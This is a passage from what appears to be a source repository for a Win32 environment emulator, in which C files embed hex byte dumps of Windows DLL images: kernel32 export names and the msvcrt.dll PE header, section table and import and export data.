\"\\x63\\x6D\\x70\\x57\\x00\\x6C\\x73\\x74\\x72\\x63\\x6D\\x70\\x69\\x00\\x6C\\x73\" // cmpW.lstrcmpi.ls\n/* 7C808F00 */ \"\\x74\\x72\\x63\\x6D\\x70\\x69\\x41\\x00\\x6C\\x73\\x74\\x72\\x63\\x6D\\x70\\x69\" // trcmpiA.lstrcmpi\n/* 7C808F10 */ \"\\x57\\x00\\x6C\\x73\\x74\\x72\\x63\\x70\\x79\\x00\\x6C\\x73\\x74\\x72\\x63\\x70\" // W.lstrcpy.lstrcp\n/* 7C808F20 */ \"\\x79\\x41\\x00\\x6C\\x73\\x74\\x72\\x63\\x70\\x79\\x57\\x00\\x6C\\x73\\x74\\x72\" // yA.lstrcpyW.lstr\n/* 7C808F30 */ \"\\x63\\x70\\x79\\x6E\\x00\\x6C\\x73\\x74\\x72\\x63\\x70\\x79\\x6E\\x41\\x00\\x6C\" // cpyn.lstrcpynA.l\n/* 7C808F40 */ \"\\x73\\x74\\x72\\x63\\x70\\x79\\x6E\\x57\\x00\\x6C\\x73\\x74\\x72\\x6C\\x65\\x6E\" // strcpynW.lstrlen\n/* 7C808F50 */ \"\\x00\\x6C\\x73\\x74\\x72\\x6C\\x65\\x6E\\x41\\x00\\x6C\\x73\\x74\\x72\\x6C\\x65\" // .lstrlenA.lstrle\n/* 7C808F60 */ \"\\x6E\\x57\\x00\\x4E\\x54\\x44\\x4C\\x4C\\x2E\\x52\\x74\\x6C\\x41\\x64\\x64\\x56\"; // nW.NTDLL.RtlAddV\n\n"
  },
  {
    "path": "src/environment/win32/dlls/msvcrtdll.c",
    "content": "const char msvcrt_77be0000[]=\n/* 77BE0000 */ \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\" // MZ.\u0003...\u0004...ÿÿ..\n/* 77BE0010 */ \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ¸.......@.......\n/* 77BE0020 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 77BE0030 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE8\\x00\\x00\\x00\" // ............è...\n/* 77BE0040 */ \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\" // ..º..´.Í!¸.LÍ!Th\n/* 77BE0050 */ \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\" // is program canno\n/* 77BE0060 */ \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\" // t be run in DOS\n/* 77BE0070 */ \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // mode....$.......\n/* 77BE0080 */ \"\\x5B\\x10\\x54\\x05\\x1F\\x71\\x3A\\x56\\x1F\\x71\\x3A\\x56\\x1F\\x71\\x3A\\x56\" // [\u0010T\u0005\u001fq:V\u001fq:V\u001fq:V\n/* 77BE0090 */ \"\\xDC\\x7E\\x67\\x56\\x1A\\x71\\x3A\\x56\\x1F\\x71\\x3B\\x56\\x82\\x71\\x3A\\x56\" // Ü~gV\u001aq:V\u001fq;Vq:V\n/* 77BE00A0 */ \"\\xDC\\x7E\\x5A\\x56\\x0B\\x71\\x3A\\x56\\xDC\\x7E\\x35\\x56\\x52\\x71\\x3A\\x56\" // Ü~ZV\u000bq:VÜ~5VRq:V\n/* 77BE00B0 */ \"\\xDC\\x7E\\x65\\x56\\x12\\x73\\x3A\\x56\\xDC\\x7E\\x66\\x56\\x1E\\x71\\x3A\\x56\" // Ü~eV\u0012s:VÜ~fV\u001eq:V\n/* 77BE00C0 */ \"\\xDC\\x7E\\x64\\x56\\x1E\\x71\\x3A\\x56\\xDC\\x7E\\x60\\x56\\x1E\\x71\\x3A\\x56\" // Ü~dV\u001eq:VÜ~`V\u001eq:V\n/* 77BE00D0 */ \"\\x52\\x69\\x63\\x68\\x1F\\x71\\x3A\\x56\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // Rich\u001fq:V........\n/* 77BE00E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\" // \n/* 77BE00F0 */ \"\\x1E\\x97\\x10\\x41\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\x00\\x0E\\x21\" // \n/* 77BE0100 */ \"\\x0B\\x01\\x07\\x0A\\x00\\xBE\\x04\\x00\\x00\\x9A\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE0110 */ \"\\xA1\\xF2\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xD0\\x04\\x00\\x00\\x00\\xBE\\x77\" // \n/* 77BE0120 */ \"\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\" // \n/* 77BE0130 */ \"\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x05\\x00\\x00\\x04\\x00\\x00\" // \n/* 77BE0140 */ \"\\x40\\xB6\\x05\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\" // \n/* 77BE0150 */ \"\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\" // \n/* 77BE0160 */ \"\\xF0\\x89\\x04\\x00\\x26\\x43\\x00\\x00\\xE8\\x7B\\x04\\x00\\x3C\\x00\\x00\\x00\" // \n/* 77BE0170 */ \"\\x00\\x40\\x05\\x00\\xF0\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE0180 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x05\\x00\\x9C\\x2A\\x00\\x00\" // \n/* 77BE0190 */ \"\\xC0\\x12\\x00\\x00\\x1C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE01A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE01B0 */ \"\\xE0\\xB7\\x00\\x00\\x40\\x00\\x00\\x00\\x80\\x02\\x00\\x00\\x38\\x00\\x00\\x00\" // \n/* 77BE01C0 */ \"\\x00\\x10\\x00\\x00\\x78\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE01D0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE01E0 */ \"\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\\x16\\xBD\\x04\\x00\\x00\\x10\\x00\\x00\" // \n/* 77BE01F0 */ \"\\x00\\xBE\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE0200 */ \"\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\" // \n/* 77BE0210 */ \"\\xC8\\x67\\x00\\x00\\x00\\xD0\\x04\\x00\\x00\\x48\\x00\\x00\\x00\\xC2\\x04\\x00\" // \n/* 77BE0220 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\" // \n/* 77BE0230 */ \"\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\\xF0\\x03\\x00\\x00\\x00\\x40\\x05\\x00\" // \n/* 77BE0240 */ \"\\x00\\x04\\x00\\x00\\x00\\x0A\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE0250 */ \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\" // \n/* 77BE0260 */ \"\\x74\\x2D\\x00\\x00\\x00\\x50\\x05\\x00\\x00\\x2E\\x00\\x00\\x00\\x0E\\x05\\x00\" // \n/* 77BE0270 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\" // \n/* 77BE0280 */ \"\\xD4\\x96\\x10\\x41\\x20\\x00\\x01\\x00\\xD4\\x96\\x10\\x41\\x2D\\x00\\x00\\x00\" // \n/* 77BE0290 */ \"\\xD4\\x96\\x10\\x41\\x2D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // \n/* 77BE02A0 */ \"\\x4B\\x45\\x52\\x4E\\x45\\x4C\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x4E\\x54\\x44\" // KERNEL32.dll.NTD\n/* 77BE02B0 */ \"\\x4C\\x4C\\x2E\\x44\\x4C\\x4C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"; // LL.DLL..........\n\nconst char msvcrt_77C28970[]=\n/* 77C28970 */ \"\\x6D\\x65\\x00\\x00\\x4B\\x45\\x52\\x4E\\x45\\x4C\\x33\\x32\\x2E\\x64\\x6C\\x6C\" // me..KERNEL32.dll\n/* 77C28980 */ \"\\x00\\x00\\x60\\x02\\x52\\x74\\x6C\\x47\\x65\\x74\\x4E\\x74\\x56\\x65\\x72\\x73\" // ..`\u0002RtlGetNtVers\n/* 77C28990 */ \"\\x69\\x6F\\x6E\\x4E\\x75\\x6D\\x62\\x65\\x72\\x73\\x00\\x00\\x6E\\x74\\x64\\x6C\" // ionNumbers..ntdl\n/* 77C289A0 */ \"\\x6C\\x2E\\x64\\x6C\\x6C\\x00\\x91\\x02\\x51\\x75\\x65\\x72\\x79\\x50\\x65\\x72\" // l.dll.\u0002QueryPer\n/* 77C289B0 */ \"\\x66\\x6F\\x72\\x6D\\x61\\x6E\\x63\\x65\\x43\\x6F\\x75\\x6E\\x74\\x65\\x72\\x00\" // formanceCounter.\n/* 77C289C0 */ \"\\xD1\\x01\\x47\\x65\\x74\\x54\\x69\\x63\\x6B\\x43\\x6F\\x75\\x6E\\x74\\x00\\x00\" // Ñ\u0001GetTickCount..\n/* 77C289D0 */ \"\\x46\\x03\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\" // F\u0003TerminateProce\n/* 77C289E0 */ \"\\x73\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ss..............\n/* 77C289F0 */ \"\\x00\\x00\\x00\\x00\\xDD\\x75\\x10\\x41\\x00\\x00\\x00\\x00\\x84\\xAA\\x04\\x00\" // ....Ýu\u0010A....ª\u0004.\n/* 77C28A00 */ \"\\x01\\x00\\x00\\x00\\x3E\\x03\\x00\\x00\\x3E\\x03\\x00\\x00\\x18\\x8A\\x04\\x00\" // \u0001...>\u0003..>\u0003..\u0018\u0004.\n/* 77C28A10 */ \"\\x10\\x97\\x04\\x00\\x08\\xA4\\x04\\x00\\x4B\\x16\\x01\\x00\\x29\\x16\\x01\\x00\" // \u0010\u0004.\b¤\u0004.K\u0016\u0001.)\u0016\u0001.\n/* 77C28A20 */ \"\\xC2\\x15\\x01\\x00\\xC2\\x15\\x01\\x00\\x90\\x15\\x01\\x00\\x6D\\x15\\x01\\x00\" // Â\u0015\u0001.Â\u0015\u0001.\u0015\u0001.m\u0015\u0001.\n/* 77C28A30 */ \"\\x07\\x16\\x01\\x00\\xE4\\x15\\x01\\x00\\x98\\x14\\x01\\x00\\xE7\\x14\\x01\\x00\" // \u0007\u0016\u0001.ä\u0015\u0001.\u0014\u0001.ç\u0014\u0001.\n/* 77C28A40 */ \"\\x82\\x14\\x01\\x00\\x6D\\x16\\x01\\x00\\xB2\\x15\\x01\\x00\\x6D\\x16\\x01\\x00\" // \u0014\u0001.m\u0016\u0001.²\u0015\u0001.m\u0016\u0001.\n/* 77C28A50 */ \"\\x40\\x15\\x01\\x00\\x68\\x18\\x01\\x00\\xC5\\x9C\\x01\\x00\\xDD\\x9C\\x01\\x00\" // @\u0015\u0001.h\u0018\u0001.Å\u0001.Ý\u0001.\n/* 77C28A60 */ \"\\x4C\\x18\\x01\\x00\\x30\\x18\\x01\\x00\\x30\\x18\\x01\\x00\\x08\\x18\\x01\\x00\" // L\u0018\u0001.0\u0018\u0001.0\u0018\u0001.\b\u0018\u0001.\n/* 77C28A70 */ \"\\x98\\x18\\x01\\x00\\xE1\\x18\\x01\\x00\\xF8\\x13\\x00\\x00\\xE0\\x13\\x00\\x00\" // \u0018\u0001.á\u0018\u0001.ø\u0013..à\u0013..\n/* 77C28A80 */ \"\\xEC\\x13\\x00\\x00\\xC0\\x13\\x00\\x00\\x8F\\x17\\x01\\x00\\x2C\\x17\\x01\\x00\" // ì\u0013..À\u0013..\u0017\u0001.,\u0017\u0001.\n/* 77C28A90 */ \"\\x8F\\x17\\x01\\x00\\xA3\\x16\\x01\\x00\\xF6\\x16\\x01\\x00\\x7F\\x17\\x01\\x00\" // \u0017\u0001.£\u0016\u0001.ö\u0016\u0001.\u0017\u0001.\n/* 77C28AA0 */ \"\\xE2\\x17\\x01\\x00\\x06\\x17\\x01\\x00\\xE2\\x17\\x01\\x00\\x7D\\x16\\x01\\x00\" // â\u0017\u0001.\u0006\u0017\u0001.â\u0017\u0001.}\u0016\u0001.\n/* 77C28AB0 */ \"\\xED\\x9C\\x01\\x00\\xFD\\x9C\\x01\\x00\\xB1\\x1B\\x01\\x00\\x3B\\x9D\\x01\\x00\" // í\u0001.ý\u0001.±\u001b\u0001.;\u0001.\n/* 77C28AC0 */ \"\\x94\\x9D\\x01\\x00\\x0D\\x9D\\x01\\x00\\x6C\\x9D\\x01\\x00\\xAD\\x25\\x01\\x00\" // \u0001..\u0001.l\u0001.­%\u0001.\n/* 77C28AD0 */ \"\\x2A\\x19\\x01\\x00\\xD0\\x25\\x01\\x00\\x73\\x19\\x01\\x00\\x9F\\x9D\\x01\\x00\" // *\u0019\u0001.Ð%\u0001.s\u0019\u0001.\u0001.\n/* 77C28AE0 */ \"\\x67\\x25\\x01\\x00\\x8A\\x25\\x01\\x00\\x6D\\x26\\x01\\x00\\xA7\\x26\\x01\\x00\" // g%\u0001.%\u0001.m&\u0001.§&\u0001.\n/* 77C28AF0 */ \"\\x5B\\x15\\x01\\x00\\xED\\xB2\\x03\\x00\\x40\\xCA\\x03\\x00\\x10\\xCB\\x03\\x00\" // [\u0015\u0001.í²\u0003.@Ê\u0003.\u0010Ë\u0003.\n/* 77C28B00 */ \"\\x20\\xCC\\x03\\x00\\x0A\\xCD\\x03\\x00\\x20\\xCD\\x03\\x00\\x02\\xCE\\x03\\x00\" //  Ì\u0003..Í\u0003. Í\u0003.\u0002Î\u0003.\n/* 77C28B10 */ \"\\x5C\\xCE\\x03\\x00\\xBA\\xCE\\x03\\x00\\x20\\xCF\\x03\\x00\\x80\\xD0\\x03\\x00\" // \\Î\u0003.ºÎ\u0003. Ï\u0003.Ð\u0003.\n/* 77C28B20 */ \"\\xE0\\xD1\\x03\\x00\\x30\\xD4\\x03\\x00\\xF8\\xCD\\x03\\x00\\xF0\\xD4\\x03\\x00\" // àÑ\u0003.0Ô\u0003.øÍ\u0003.ðÔ\u0003.\n/* 77C28B30 */ \"\\xB0\\xD5\\x03\\x00\\x09\\xCE\\x03\\x00\\xF6\\x26\\x01\\x00\\x38\\x27\\x01\\x00\" // °Õ\u0003..Î\u0003.ö&\u0001.8'\u0001.\n/* 77C28B40 */ \"\\x50\\x84\\x03\\x00\\x09\\x85\\x03\\x00\\xC7\\x85\\x03\\x00\\xF0\\x04\\x05\\x00\" // P\u0003..\u0003.Ç\u0003.ð\u0004\u0005.\n/* 77C28B50 */ \"\\x94\\x90\\x03\\x00\\xAE\\x2D\\x02\\x00\\x1D\\x1D\\x01\\x00\\x33\\x1C\\x01\\x00\" // \u0003.®-\u0002.\u001d\u001d\u0001.3\u001c\u0001.\n/* 77C28B60 */ \"\\x7D\\x20\\x01\\x00\\xFA\\x27\\x01\\x00\\x37\\x28\\x01\\x00\\x14\\x1D\\x01\\x00\" // } \u0001.ú'\u0001.7(\u0001.\u0014\u001d\u0001.\n/* 77C28B70 */ \"\\xC9\\x1B\\x01\\x00\\x8B\\x1C\\x01\\x00\\x41\\x1B\\x01\\x00\\x19\\x2D\\x01\\x00\" // É\u001b\u0001.\u001c\u0001.A\u001b\u0001.\u0019-\u0001.\n/* 77C28B80 */ \"\\x79\\x30\\x01\\x00\\xBA\\x2B\\x01\\x00\\xCE\\xB9\\x03\\x00\\xF4\\x30\\x02\\x00\" // y0\u0001.º+\u0001.Î¹\u0003.ô0\u0002.\n/* 77C28B90 */ \"\\x12\\x31\\x02\\x00\\xE9\\x30\\x02\\x00\\x30\\x31\\x02\\x00\\x3B\\x31\\x02\\x00\" // \u00121\u0002.é0\u0002.01\u0002.;1\u0002.\n/* 77C28BA0 */ \"\\x28\\x1A\\x05\\x00\\x2C\\x1A\\x05\\x00\\x10\\xF3\\x04\\x00\\xA5\\x3D\\x02\\x00\" // (\u001a\u0005.,\u001a\u0005.\u0010ó\u0004.¥=\u0002.\n/* 77C28BB0 */ \"\\x57\\x41\\x02\\x00\\xAE\\x43\\x02\\x00\\xE3\\x44\\x02\\x00\\x15\\x47\\x02\\x00\" // WA\u0002.®C\u0002.ãD\u0002.\u0015G\u0002.\n/* 77C28BC0 */ \"\\xE6\\x4A\\x02\\x00\\x51\\x4E\\x02\\x00\\xCA\\xF2\\x00\\x00\\xB8\\x4F\\x02\\x00\" // æJ\u0002.QN\u0002.Êò..¸O\u0002.\n/* 77C28BD0 */ \"\\xEB\\xEE\\x00\\x00\\x38\\x1A\\x05\\x00\\x07\\xF2\\x00\\x00\\x0A\\xBE\\x00\\x00\" // ëî..8\u001a\u0005.\u0007ò...¾..\n/* 77C28BE0 */ \"\\x57\\xBE\\x00\\x00\\x33\\xBE\\x00\\x00\\xB4\\x18\\x05\\x00\\xB8\\x18\\x05\\x00\" // W¾..3¾..´\u0018\u0005.¸\u0018\u0005.\n/* 77C28BF0 */ \"\\x9C\\x18\\x05\\x00\\x0B\\x53\\x02\\x00\\x7C\\xF9\\x04\\x00\\x83\\xF1\\x00\\x00\" // \u0018\u0005.\u000bS\u0002.|ù\u0004.ñ..\n/* 77C28C00 */ \"\\x8E\\xF1\\x00\\x00\\xF1\\xF1\\x00\\x00\\x28\\xF2\\x00\\x00\\x99\\xF1\\x00\\x00\" // ñ..ññ..(ò..ñ..\n/* 77C28C10 */ \"\\xFC\\xF1\\x00\\x00\\x62\\xF1\\x00\\x00\\x78\\xF1\\x00\\x00\\xA4\\xF1\\x00\\x00\" // üñ..bñ..xñ..¤ñ..\n/* 77C28C20 */ \"\\xAF\\xF1\\x00\\x00\\xBA\\xF1\\x00\\x00\\xC5\\xF1\\x00\\x00\\xE6\\xF1\\x00\\x00\" // ¯ñ..ºñ..Åñ..æñ..\n/* 77C28C30 */ \"\\xDB\\xF1\\x00\\x00\\x07\\xF2\\x00\\x00\\x1D\\xF2\\x00\\x00\\x12\\xF2\\x00\\x00\" // Ûñ..\u0007ò..\u001dò..\u0012ò..\n/* 77C28C40 */ \"\\x33\\xF2\\x00\\x00\\x3E\\xF2\\x00\\x00\\x54\\xF2\\x00\\x00\\x49\\xF2\\x00\\x00\" // 3ò..>ò..Tò..Iò..\n/* 77C28C50 */ \"\\x6A\\xF2\\x00\\x00\\x75\\xF2\\x00\\x00\\x6D\\xF1\\x00\\x00\\xD0\\xF1\\x00\\x00\" // jò..uò..mñ..Ðñ..\n/* 77C28C60 */ \"\\x80\\xF2\\x00\\x00\\x8B\\xF2\\x00\\x00\\x96\\xF2\\x00\\x00\\x5F\\xF2\\x00\\x00\" // ò..ò..ò.._ò..\n/* 77C28C70 */ \"\\x3D\\x53\\x02\\x00\\x40\\x24\\x05\\x00\\xC6\\x4F\\x02\\x00\\x7C\\x53\\x02\\x00\" // =S\u0002.@$\u0005.ÆO\u0002.|S\u0002.\n/* 77C28C80 */ \"\\x8C\\x27\\x05\\x00\\x75\\xD6\\x03\\x00\\x1A\\xA1\\x02\\x00\\x0F\\xA1\\x02\\x00\" // '\u0005.uÖ\u0003.\u001a¡\u0002.\u000f¡\u0002.\n/* 77C28C90 */ \"\\x21\\xBE\\x00\\x00\\x97\\x78\\x01\\x00\\x3C\\x79\\x01\\x00\\x90\\x27\\x05\\x00\" // !¾..x\u0001.<y\u0001.'\u0005.\n/* 77C28CA0 */ \"\\x30\\x1A\\x05\\x00\\x90\\x53\\x02\\x00\\x8A\\xEE\\x00\\x00\\x40\\x1A\\x05\\x00\" // 0\u001a\u0005.S\u0002.î..@\u001a\u0005.\n/* 77C28CB0 */ \"\\x17\\x55\\x02\\x00\\x55\\xF3\\x00\\x00\\xAC\\x17\\x05\\x00\\x24\\xDD\\x03\\x00\" // \u0017U\u0002.Uó..¬\u0017\u0005.$Ý\u0003.\n/* 77C28CC0 */ \"\\x8C\\xDC\\x03\\x00\\x58\\xDD\\x03\\x00\\xD8\\xDC\\x03\\x00\\xC7\\xD7\\x03\\x00\" // Ü\u0003.XÝ\u0003.ØÜ\u0003.Ç×\u0003.\n/* 77C28CD0 */ \"\\x24\\xDE\\x03\\x00\\x8C\\xDD\\x03\\x00\\x58\\xDE\\x03\\x00\\xD8\\xDD\\x03\\x00\" // $Þ\u0003.Ý\u0003.XÞ\u0003.ØÝ\u0003.\n/* 77C28CE0 */ \"\\x35\\xE4\\x03\\x00\\xBC\\xE0\\x03\\x00\\x74\\xE3\\x03\\x00\\x38\\xE4\\x03\\x00\" // 5ä\u0003.¼à\u0003.tã\u0003.8ä\u0003.\n/* 77C28CF0 */ \"\\xD8\\x23\\x05\\x00\\x00\\xD0\\x04\\x00\\x33\\x9E\\x01\\x00\\x52\\x9E\\x01\\x00\" // Ø#\u0005..Ð\u0004.3\u0001.R\u0001.\n/* 77C28D00 */ \"\\xAF\\x9D\\x01\\x00\\x6E\\x9E\\x01\\x00\\xC6\\x9F\\x01\\x00\\x25\\xF1\\x00\\x00\" // ¯\u0001.n\u0001.Æ\u0001.%ñ..\n/* 77C28D10 */ \"\\x66\\x55\\x02\\x00\\x70\\xBE\\x03\\x00\\x28\\xBF\\x00\\x00\\xB8\\xBE\\x03\\x00\" // fU\u0002.p¾\u0003.(¿..¸¾\u0003.\n/* 77C28D20 */ \"\\x0A\\xE1\\x00\\x00\\x6E\\xA2\\x02\\x00\\xDB\\xA3\\x02\\x00\\xCE\\x9E\\x02\\x00\" // .á..n¢\u0002.Û£\u0002.Î\u0002.\n/* 77C28D30 */ \"\\xE8\\xE6\\x03\\x00\\x46\\x9D\\x01\\x00\\xB6\\x9E\\x02\\x00\\xB0\\xCA\\x01\\x00\" // èæ\u0003.F\u0001.¶\u0002.°Ê\u0001.\n/* 77C28D40 */ \"\\x91\\xCB\\x01\\x00\\xA5\\xF3\\x00\\x00\\xAC\\xF4\\x00\\x00\\x36\\xE7\\x03\\x00\" // Ë\u0001.¥ó..¬ô..6ç\u0003.\n/* 77C28D50 */ \"\\xBC\\x5B\\x02\\x00\\x3F\\xF5\\x00\\x00\\xAE\\xCF\\x01\\x00\\xDA\\xED\\x03\\x00\" // ¼[\u0002.?õ..®Ï\u0001.Úí\u0003.\n/* 77C28D60 */ \"\\xD7\\xD0\\x01\\x00\\x77\\xD1\\x01\\x00\\xFC\\x21\\x05\\x00\\xF5\\xED\\x03\\x00\" // ×Ð\u0001.wÑ\u0001.ü!\u0005.õí\u0003.\n/* 77C28D70 */ \"\\x2F\\xEE\\x03\\x00\\x0E\\xE7\\x03\\x00\\x88\\xC3\\x02\\x00\\x38\\xD2\\x01\\x00\" // /î\u0003.\u000eç\u0003.Ã\u0002.8Ò\u0001.\n/* 77C28D80 */ \"\\x5D\\xD3\\x01\\x00\\x0F\\xD4\\x01\\x00\\xBB\\xD0\\x02\\x00\\xEF\\x90\\x03\\x00\" // ]Ó\u0001.\u000fÔ\u0001.»Ð\u0002.ï\u0003.\n/* 77C28D90 */ \"\\xA0\\x28\\x00\\x00\\xBD\\x81\\x01\\x00\\x3B\\xDB\\x02\\x00\\x4F\\xE9\\x02\\x00\" //  (..½\u0001.;Û\u0002.Oé\u0002.\n/* 77C28DA0 */ \"\\xD4\\xFF\\x04\\x00\\xD8\\xFF\\x04\\x00\\xF4\\xD4\\x01\\x00\\x0D\\xD7\\x01\\x00\" // Ôÿ\u0004.Øÿ\u0004.ôÔ\u0001..×\u0001.\n/* 77C28DB0 */ \"\\xA2\\xC0\\x00\\x00\\x94\\xA1\\x02\\x00\\x07\\xA3\\x02\\x00\\x34\\x1A\\x05\\x00\" // ¢À..¡\u0002.\u0007£\u0002.4\u001a\u0005.\n/* 77C28DC0 */ \"\\xDD\\xD7\\x01\\x00\\xBC\\xF2\\x00\\x00\\xDC\\x5B\\x02\\x00\\x94\\x5C\\x02\\x00\" // Ý×\u0001.¼ò..Ü[\u0002.\\\u0002.\n/* 77C28DD0 */ \"\\x53\\x82\\x01\\x00\\x70\\x82\\x01\\x00\\x99\\x82\\x01\\x00\\xB3\\x82\\x01\\x00\" // S\u0001.p\u0001.\u0001.³\u0001.\n/* 77C28DE0 */ \"\\xDC\\x82\\x01\\x00\\x51\\x83\\x01\\x00\\xDF\\x84\\x01\\x00\\xFB\\x84\\x01\\x00\" // Ü\u0001.Q\u0001.ß\u0001.û\u0001.\n/* 77C28DF0 */ \"\\x9A\\x9E\\x02\\x00\\xE5\\x9F\\x01\\x00\\x68\\xE9\\x02\\x00\\x54\\xC0\\x00\\x00\" // \u0002.å\u0001.hé\u0002.TÀ..\n/* 77C28E00 */ \"\\x08\\xEA\\x02\\x00\\x2A\\xEB\\x02\\x00\\x45\\xEB\\x02\\x00\\x60\\xEB\\x02\\x00\" // \bê\u0002.*ë\u0002.Eë\u0002.`ë\u0002.\n/* 77C28E10 */ \"\\xA0\\xD2\\x04\\x00\\xE2\\xD8\\x01\\x00\\xBB\\xD9\\x01\\x00\\x4B\\xEC\\x02\\x00\" //  Ò\u0004.âØ\u0001.»Ù\u0001.Kì\u0002.\n/* 77C28E20 */ \"\\x22\\xE1\\x00\\x00\\xB8\\xE1\\x00\\x00\\xF8\\xE3\\x00\\x00\\x1B\\xE6\\x00\\x00\" // \"á..¸á..øã..\u001bæ..\n/* 77C28E30 */ \"\\xA4\\xE2\\x00\\x00\\x0C\\xE5\\x00\\x00\\x26\\xE7\\x00\\x00\\x1E\\xEB\\x03\\x00\" // ¤â...å..&ç..\u001eë\u0003.\n/* 77C28E40 */ \"\\x5D\\xEC\\x02\\x00\\x4B\\xEF\\x02\\x00\\x5C\\x18\\x05\\x00\\x74\\xEB\\x03\\x00\" // ]ì\u0002.Kï\u0002.\\\u0018\u0005.të\u0003.\n/* 77C28E50 */ \"\\x8E\\xF3\\x03\\x00\\x17\\xEC\\x03\\x00\\x59\\xEF\\x02\\x00\\x84\\xEF\\x02\\x00\" // ó\u0003.\u0017ì\u0003.Yï\u0002.ï\u0002.\n/* 77C28E60 */ \"\\xAF\\xEF\\x02\\x00\\xB4\\xDA\\x01\\x00\\x75\\xDD\\x01\\x00\\x7A\\xE0\\x01\\x00\" // ¯ï\u0002.´Ú\u0001.uÝ\u0001.zà\u0001.\n/* 77C28E70 */ \"\\x13\\x91\\x03\\x00\\x24\\x92\\x03\\x00\\x10\\xFA\\x03\\x00\\x89\\xF5\\x00\\x00\" // \u0013\u0003.$\u0003.\u0010ú\u0003.õ..\n/* 77C28E80 */ \"\\x51\\x93\\x03\\x00\\xDE\\x94\\x03\\x00\\xFA\\xC0\\x00\\x00\\x01\\xA4\\x01\\x00\" // Q\u0003.Þ\u0003.úÀ..\u0001¤\u0001.\n/* 77C28E90 */ \"\\x68\\xE4\\x01\\x00\\x0C\\xA4\\x01\\x00\\xA1\\xEA\\x01\\x00\\xC4\\xEA\\x01\\x00\" // hä\u0001..¤\u0001.¡ê\u0001.Äê\u0001.\n/* 77C28EA0 */ \"\\x85\\xF7\\x00\\x00\\xD0\\xF7\\x00\\x00\\x2C\\xE8\\x00\\x00\\xB2\\x86\\x01\\x00\" // ÷..Ð÷..,è..²\u0001.\n/* 77C28EB0 */ \"\\x52\\xF4\\x00\\x00\\x85\\xE8\\x00\\x00\\x2C\\xF1\\x02\\x00\\x38\\x08\\x02\\x00\" // Rô..è..,ñ\u0002.8\b\u0002.\n/* 77C28EC0 */ \"\\x1C\\xF8\\x00\\x00\\x71\\x96\\x03\\x00\\x37\\xF1\\x02\\x00\\xF6\\xEC\\x01\\x00\" // \u001cø..q\u0003.7ñ\u0002.öì\u0001.\n/* 77C28ED0 */ \"\\x1A\\xED\\x01\\x00\\xB9\\xF1\\x02\\x00\\x4C\\x54\\x02\\x00\\x43\\x97\\x03\\x00\" // \u001aí\u0001.¹ñ\u0002.LT\u0002.C\u0003.\n/* 77C28EE0 */ \"\\x9F\\xBC\\x01\\x00\\xB3\\xBC\\x01\\x00\\x8C\\xBD\\x01\\x00\\x82\\xBD\\x01\\x00\" // 